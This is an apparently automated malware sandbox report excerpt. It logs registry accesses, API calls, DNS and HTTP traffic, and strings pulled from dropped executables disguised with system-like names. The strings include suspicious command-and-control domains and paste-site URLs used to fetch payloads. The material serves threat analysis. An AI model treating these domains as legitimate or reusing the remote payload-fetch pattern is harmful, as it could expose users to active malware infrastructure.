Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior

Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_000001F5A968D880 FindFirstFileExW,	9_2_000001F5A968D880
Source: C:\Windows\System32\System-f4855f59e0.exe	Code function: 14_2_00007FF6A54FB848 FindFirstFileExW,	14_2_00007FF6A54FB848
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173CFC0A4A0 FindFirstFileExW,FindClose,wcscpy_s,_invalid_parameter_noinfo_noreturn,	16_2_00000173CFC0A4A0
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_00000173D03BD880 FindFirstFileExW,	16_2_00000173D03BD880
Source: C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe	Code function: 17_2_00007FF7D168B848 FindFirstFileExW,	17_2_00007FF7D168B848

Source: C:\Windows\System32\System-f4855f59e0.exe

Code function: 14_2_00007FF6A54A81C0 InternetCheckConnectionW,

14_2_00007FF6A54A81C0

Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad
Source: Joe Sandbox View	JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\System32\System-f4855f59e0.exe

Code function: 14_2_00007FF6A54A5440 InternetOpenA,InternetOpenUrlA,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::~_Scoped_lock,

14_2_00007FF6A54A5440

Source: global traffic	HTTP traffic detected: GET /STB/cGFzdGVzbmFwM.txt HTTP/1.1User-Agent: URL CheckerHost: pastesnap.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /STB/cGFzdGVzbmFwM.txt HTTP/1.1User-Agent: MyUserAgentHost: pastesnap.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /STB/cGFzdGVzbmFwR.txt HTTP/1.1User-Agent: MyUserAgentHost: pastesnap.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgUser-Agent: curl/7.83.1Accept: /

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: pastesnap.com
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: wavepassage.cfd
Source: global traffic	DNS traffic detected: DNS query: textbinvault.com
Source: global traffic	DNS traffic detected: DNS query: securetextweb.cc

Source: lsass.exe, 00000039.00000002.2551418796.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000003.2135670157.0000017D2D572000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000000.1518430800.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000000.1518269296.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2551807834.0000017D2D59A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: lsass.exe, 00000039.00000003.2135670157.0000017D2D572000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000000.1518430800.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: lsass.exe, 00000039.00000003.2135670157.0000017D2D572000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000000.1518430800.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 00000039.00000002.2551418796.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000003.2135670157.0000017D2D572000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000000.1518430800.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000000.1518269296.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2551807834.0000017D2D59A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: lsass.exe, 00000039.00000000.1518163902.0000017D2D442000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: lsass.exe, 00000039.00000002.2551418796.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000003.2135670157.0000017D2D572000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000000.1518430800.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000000.1518269296.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2551807834.0000017D2D59A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 00000039.00000000.1518365956.0000017D2D493000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2551604515.0000017D2D493000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: lsass.exe, 00000039.00000002.2551198865.0000017D2D400000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000000.1518163902.0000017D2D400000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: lsass.exe, 00000039.00000002.2552911870.0000017D2D843000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: lsass.exe, 00000039.00000000.1517534191.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2549981633.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702
Source: lsass.exe, 00000039.00000002.2550063001.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000000.1517595833.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
Source: lsass.exe, 00000039.00000000.1517534191.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2549981633.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 00000010.00000002.2547849226.00000173CD257000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io/country
Source: svchost.exe, 00000010.00000002.2547849226.00000173CD257000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io/countryNVIDIAAMDntdll.dllRtlGetVersionWindows
Source: powershell.exe, 0000001F.00000002.1554825743.000002006B931000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1554825743.000002006BAD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: lsass.exe, 00000039.00000002.2551418796.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000003.2135670157.0000017D2D572000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000000.1518430800.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000000.1518269296.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2551807834.0000017D2D59A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: lsass.exe, 00000039.00000000.1518163902.0000017D2D442000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: lsass.exe, 00000039.00000000.1518315907.0000017D2D471000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: dwm.exe, 0000003D.00000002.2572338533.00000262ED790000.00000004.00000001.00020000.00000000.sdmp, dwm.exe, 0000003D.00000000.1542652207.00000262ED790000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://osoft.co_2010-06X
Source: powershell.exe, 0000001F.00000002.1514433357.000002005BAED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: lsass.exe, 00000039.00000000.1517534191.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2549981633.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: lsass.exe, 00000039.00000000.1517534191.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2549981633.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: powershell.exe, 0000001F.00000002.1514433357.000002005B8C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: lsass.exe, 00000039.00000000.1517534191.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2550063001.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000000.1517595833.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2549981633.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/07/securitypolicy
Source: lsass.exe, 00000039.00000000.1517534191.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2549981633.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: lsass.exe, 00000039.00000000.1517534191.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2549981633.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/erties
Source: lsass.exe, 00000039.00000000.1517534191.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2549981633.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
Source: lsass.exe, 00000039.00000000.1517534191.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000039.00000002.2549981633.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/P
Source: powershell.exe, 0000001F.00000002.1514433357.000002005BAED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: System-f4855f59e0.exe, Microsoft-f4855f59e0.exe	String found in binary or memory: http://www.google.com
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: http://www.google.compowershell.exe
Source: svchost.exe, 00000010.00000002.2554873475.00000173CF9C7000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.zlib.net/D
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000003.1538720334.0000015F98C97000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000002.1544978601.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://CodeMastersHub.su/
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://ExploreRussiaBeyond.ru/
Source: System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD598A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ExploreRussiaBeyond.ru/Cx
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ExploreRussiaBeyond.ru/Vkf
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://FeelGoodForever.org.ru/
Source: System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD598A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://FeelGoodForever.org.ru/Fx
Source: WinDrive-f4855f59e0.exe, 00000026.00000002.1525048817.00000226CC15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://FeelGoodForever.org.ru/IC=C
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://FeelGoodForever.org.ru/NkN
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://LearnToCodeWithUs.su/
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://LearnToCodeWithUs.su/PDATA
Source: Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://LearnToCodeWithUs.su/n
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://RusTechHub.ru/
Source: WinDrive-f4855f59e0.exe, 00000026.00000002.1525048817.00000226CC15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://RusTechHub.ru/0
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://RusTechHub.ru/ath=C:
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://RussianTechInnovationHub.ru/
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://SuccessFromWithin.ru/
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://SuccessFromWithin.ru/Hkp
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://TechVenturesFromRussia.su/
Source: Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://TechVenturesFromRussia.su/G
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://YourNextBigIdea.su/
Source: Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://YourNextBigIdea.su/K
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://adorebeautyz.top/
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://adorebeautyz.top/SSOR_AR
Source: System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD598A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://adorebeautyz.top/Wx
Source: Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://adorebeautyz.top/h
Source: powershell.exe, 0000001F.00000002.1514433357.000002005B8C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: curl.exe, 0000003C.00000003.1547952894.0000023245FB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: curl.exe, 0000003C.00000002.1548361165.0000023245FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: curl.exe, 0000003C.00000002.1548361165.0000023245FA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/_Num
Source: curl.exe, 0000003C.00000002.1548361165.0000023245FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org;
Source: curl.exe, 0000003C.00000002.1548361165.0000023245FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgC:
Source: curl.exe, 0000003C.00000002.1548361165.0000023245FB8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000003C.00000003.1547952894.0000023245FB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgW
Source: svchost.exe, 00000010.00000002.2547849226.00000173CD257000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgwmic
Source: curl.exe, 0000003C.00000002.1548361165.0000023245FB8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000003C.00000003.1547952894.0000023245FB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgy
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000003.1538720334.0000015F98C97000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000002.1544978601.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://bluebullet.su/
Source: Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bluebullet.su/g
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://brettdogecoin.com/
Source: System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD5989C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://brettdogecoin.com/Eh
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://brettdogecoin.com/t
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://burningspice.cfd/
Source: System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD598A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://burningspice.cfd/Tx
Source: Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://burningspice.cfd/m
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://burningspice.cfd/pps;PA
Source: powershell.exe, 0000001F.00000002.1554825743.000002006B931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000001F.00000002.1554825743.000002006B931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000001F.00000002.1554825743.000002006B931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://coolcarforum.com/
Source: System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD598A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://coolcarforum.com/Ix
Source: Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://coolcarforum.com/b
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://creativecoder.top/
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://creativecoder.top/=
